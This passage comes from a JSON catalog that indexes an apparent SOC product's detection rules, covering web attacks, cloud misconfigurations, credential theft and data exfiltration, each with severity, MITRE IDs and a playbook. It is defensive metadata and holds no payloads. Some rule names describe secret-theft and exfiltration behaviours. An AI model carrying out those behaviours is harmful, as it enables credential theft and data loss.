"tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/application/api-permission-bypass-idor.yaml"+ },+ {+ "id": "det-application-021",+ "type": "detection",+ "name": "POST Without Referer/Origin to Sensitive Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'POST Without Referer/Origin to Sensitive Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/csrf-on-sensitive-mutation.yaml"+ },+ {+ "id": "det-application-022",+ "type": "detection",+ "name": "Java/Python Deserialization Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Java/Python Deserialization Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/deserialization-attack.yaml"+ },+ {+ "id": "det-application-023",+ "type": "detection",+ "name": "GitLab Runner Registered as Shared Without Approval",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'GitLab Runner Registered as Shared Without Approval'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1525"+ ],+ "log_source": "gitlab",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/gitlab-runner-shared-tag.yaml"+ },+ {+ "id": "det-application-024",+ "type": "detection",+ "name": "SaaS File Mass Public-Share by Single User",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'SaaS File Mass Public-Share by Single User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/application/saas-mass-share-public.yaml"+ },+ {+ "id": "det-application-025",+ "type": "detection",+ "name": "Slack Token Posted in Public Channel",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Slack Token Posted in Public Channel'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1552.004"+ ],+ "log_source": "slack",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/application/slack-token-exposed.yaml"+ },+ {+ "id": "det-application-026",+ "type": "detection",+ "name": "Marketplace App Installed With Broad Scopes",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Marketplace App Installed With Broad Scopes'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/application/saas-app-installed.yaml"+ },+ {+ "id": "det-application-027",+ "type": "detection",+ "name": "Process Reading Browser Login Database",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Process Reading Browser Login Database'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1555.003"+ ],+ "log_source": "edr",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/application/browser-credential-grabber.yaml"+ },+ {+ "id": "det-application-028",+ "type": "detection",+ "name": "Outbound RDP Connection Initiated From Workstation to Internet",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Outbound RDP Connection Initiated From Workstation to Internet'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1572"+ ],+ "log_source": "ndr",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/application/rdp-tickling.yaml"+ },+ {+ "id": "det-application-029",+ "type": "detection",+ "name": "Microsoft 365 Brand Impersonation Phishing URL",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Microsoft 365 Brand Impersonation Phishing URL'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1566.002"+ ],+ "log_source": "email",+ "playbook": "tpl-phishing",+ "verified": true,+ "source": "core",+ "path": "detections/application/phishing-ms365-impersonation.yaml"+ },+ {+ "id": "det-application-030",+ "type": "detection",+ "name": "Email Attachment with Double Extension Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Email Attachment with Double Extension Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1566.001"+ ],+ "log_source": "email",+ "playbook": "tpl-phishing",+ "verified": true,+ "source": "core",+ "path": "detections/application/phishing-attachment-double-extension.yaml"+ },+ {+ "id": "det-cloud-001",+ "type": "detection",+ "name": "AWS Root Account Console Login",+ "description": "Detects any console sign-in event using the AWS root account. Root account usage outside of initial setup or emergency break-glass scenarios should trigger immediate investigation. Best practice requires MFA on the root account.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "aws",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-root-account-login.yaml"+ },+ {+ "id": "det-cloud-002",+ "type": "detection",+ "name": "AWS IAM Enumeration Burst",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS IAM Enumeration Burst'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1087.004",+ "T1069.003"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-recon",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-iam-enumeration.yaml"+ },+ {+ "id": "det-cloud-003",+ "type": "detection",+ "name": "AWS S3 Bucket Made Public",+ "description": "Detects when an S3 bucket ACL or bucket policy is modified to allow public read or public read-write access, which can lead to data exposure or unauthorised data exfiltration.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-s3-public-bucket.yaml"+ },+ {+ "id": "det-cloud-004",+ "type": "detection",+ "name": "AWS S3 Bucket Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS S3 Bucket Deletion'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-s3-bucket-deletion.yaml"+ },+ {+ "id": "det-cloud-005",+ "type": "detection",+ "name": "AWS EC2 Instance Launched in Unauthorized Region",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS EC2 Instance Launched in Unauthorized Region'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1578.002"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-ec2-launch-foreign-region.yaml"+ },+ {+ "id": "det-cloud-006",+ "type": "detection",+ "name": "AWS Security Group Opened to 0.0.0.0/0",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS Security Group Opened to 0.0.0.0/0'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190",+ "T1133"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-security-group-open-world.yaml"+ },+ {+ "id": "det-cloud-007",+ "type": "detection",+ "name": "AWS IAM Policy with Wildcard Action",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS IAM Policy with Wildcard Action'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004",+ "T1098.001"+ ],+ "log_source": "aws",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-iam-policy-permissive.yaml"+ },+ {+ "id": "det-cloud-008",+ "type": "detection",+ "name": "AWS KMS Key Disabled or Scheduled for Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS KMS Key Disabled or Scheduled for Deletion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1485",+ "T1486"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-kms-key-disable.yaml"+ },+ {+ "id": "det-cloud-009",+ "type": "detection",+ "name": "AWS CloudTrail Logging Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS CloudTrail Logging Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "aws",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-cloudtrail-disabled.yaml"+ },+ {+ "id": "det-cloud-010",+ "type": "detection",+ "name": "AWS Lambda Function with Public Invoke Permission",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS Lambda Function with Public Invoke Permission'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-lambda-permissive-trigger.yaml"+ },+ {+ "id": "det-cloud-011",+ "type": "detection",+ "name": "AWS VPC Flow Logs Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS VPC Flow Logs Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "aws",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-vpc-flow-logs-disabled.yaml"+ },+ {+ "id": "det-cloud-012",+ "type": "detection",+ "name": "AWS RDS Instance Set Publicly Accessible",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS RDS Instance Set Publicly Accessible'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190",+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-rds-publicly-accessible.yaml"+ },+ {+ "id": "det-cloud-013",+ "type": "detection",+ "name": "AWS EBS Snapshot Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS EBS Snapshot Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-ebs-snapshot-public.yaml"+ },+ {+ "id": "det-cloud-014",+ "type": "detection",+ "name": "AWS AssumeRole from Untrusted External Account",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS AssumeRole from Untrusted External Account'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004",+ "T1199"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-cross-account-assumerole.yaml"+ },+ {+ "id": "det-cloud-015",+ "type": "detection",+ "name": "AWS S3 GetObject Volume Anomaly per Principal",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS S3 GetObject Volume Anomaly per Principal'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-s3-mass-getobject.yaml"+ },+ {+ "id": "det-cloud-016",+ "type": "detection",+ "name": "Azure AD Owner/Global-Admin Role Assignment",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Owner/Global-Admin Role Assignment'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.003"+ ],+ "log_source": "azure",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-ad-role-owner-assignment.yaml"+ },+ {+ "id": "det-cloud-017",+ "type": "detection",+ "name": "Azure AD Application Credential Added",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Application Credential Added'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-ad-app-secret-added.yaml"+ },+ {+ "id": "det-cloud-018",+ "type": "detection",+ "name": "Azure AD Conditional Access Policy Disabled or Removed",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Conditional Access Policy Disabled or Removed'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-conditional-access-disabled.yaml"+ },+ {+ "id": "det-cloud-019",+ "type": "detection",+ "name": "Azure Key Vault Key Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Key Vault Key Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-keyvault-key-deleted.yaml"+ },+ {+ "id": "det-cloud-020",+ "type": "detection",+ "name": "Azure NSG Rule Allowing 0.0.0.0/0 Inbound",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure NSG Rule Allowing 0.0.0.0/0 Inbound'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "azure",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-nsg-allow-all-inbound.yaml"+ },+ {+ "id": "det-cloud-021",+ "type": "detection",+ "name": "Azure Storage Account Container Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Storage Account Container Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-storage-public-blob.yaml"+ },+ {+ "id": "det-cloud-022",+ "type": "detection",+ "name": "Azure AD MFA Disabled for User",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD MFA Disabled for User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1556.006"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-ad-mfa-disabled-for-user.yaml"+ },+ {+ "id": "det-cloud-023",+ "type": "detection",+ "name": "Azure AD App Registration Granted Broad Graph Scope",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD App Registration Granted Broad Graph Scope'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-app-registration-permissive-scope.yaml"+ },+ {+ "id": "det-cloud-024",+ "type": "detection",+ "name": "Azure AD Login from Tor / Anonymous IP",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Login from Tor / Anonymous IP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "azure",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-login-anonymous-ip.yaml"+ },+ {+ "id": "det-cloud-025",+ "type": "detection",+ "name": "Azure Resource Mass Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Resource Mass Deletion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-resource-mass-delete.yaml"+ },+ {+ "id": "det-cloud-026",+ "type": "detection",+ "name": "GCP IAM Primitive Role (Owner/Editor) Granted",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP IAM Primitive Role (Owner/Editor) Granted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "gcp",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-iam-primitive-role-grant.yaml"+ },+ {+ "id": "det-cloud-027",+ "type": "detection",+ "name": "GCP Service Account Key Created",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Service Account Key Created'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "gcp",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-service-account-key-created.yaml"+ },+ {+ "id": "det-cloud-028",+ "type": "detection",+ "name": "GCP GCS Bucket Set to Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP GCS Bucket Set to Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-gcs-bucket-public.yaml"+ },+ {+ "id": "det-cloud-029",+ "type": "detection",+ "name": "GCP Firewall Rule Allowing 0.0.0.0/0 Inbound",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Firewall Rule Allowing 0.0.0.0/0 Inbound'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "gcp",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-firewall-rule-allow-all.yaml"+ },+ {+ "id": "det-cloud-030",+ "type": "detection",+ "name": "GCP Project Marked for Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Project Marked for Deletion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-project-deletion.yaml"+ },+ {+ "id": "det-cloud-031",+ "type": "detection",+ "name": "GCP Audit Log Sink Disabled or Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Audit Log Sink Disabled or Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "gcp",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-audit-log-sink-disabled.yaml"+ },+ {+ "id": "det-cloud-032",+ "type": "detection",+ "name": "GCP Organization Policy Modified",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Organization Policy Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "gcp",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-org-policy-modified.yaml"+ },+ {+ "id": "det-cloud-033",+ "type": "detection",+ "name": "GCP Service Account Impersonation Outside Allowlist",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Service Account Impersonation Outside Allowlist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "gcp",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-service-account-impersonation.yaml"+ },+ {+ "id": "det-cloud-034",+ "type": "detection",+ "name": "GCP Secret Manager Mass AccessSecretVersion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Secret Manager Mass AccessSecretVersion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1555.005",+ "T1530"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-secret-manager-mass-export.yaml"+ },+ {+ "id": "det-cloud-035",+ "type": "detection",+ "name": "GCP BigQuery Dataset Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP BigQuery Dataset Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-bigquery-dataset-public.yaml"+ },+ {+ "id": "det-cloud-036",+ "type": "detection",+ "name": "Cloud Workload Spawned with Secrets in Environment Variables",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Cloud Workload Spawned with Secrets in Environment Variables'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "cloud",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-secrets-in-env.yaml"+ },+ {+ "id": "det-cloud-037",+ "type": "detection",+ "name": "Container Registry Repository Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Container Registry Repository Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1525"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-container-registry-public.yaml"+ },+ {+ "id": "det-cloud-038",+ "type": "detection",+ "name": "Terraform State File Stored in Public Bucket",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Terraform State File Stored in Public Bucket'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1530",+ "T1552.001"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-tfstate-public.yaml"+ },+ {+ "id": "det-cloud-039",+ "type": "detection",+ "name": "Internet-Facing Load Balancer Without WAF",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Internet-Facing Load Balancer Without WAF'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "cloud",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-internet-load-balancer-no-waf.yaml"+ },+ {+ "id": "det-cloud-040",+ "type": "detection",+ "name": "Cross-Account Trust Added to Privileged Role",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Cross-Account Trust Added to Privileged Role'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1199"+ ],+ "log_source": "cloud",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-cross-account-trust-add.yaml"+ },+ {+ "id": "det-data-exfil-001",+ "type": "detection",+ "name": "Large Outbound Transfer to Personal Cloud Storage",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Large Outbound Transfer to Personal Cloud Storage'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567.002"+ ],+ "log_source": "proxy",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/large-egress-personal-cloud.yaml"+ },+ {+ "id": "det-data-exfil-002",+ "type": "detection",+ "name": "Outbound Bytes Spike Above Baseline (Anomaly)",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 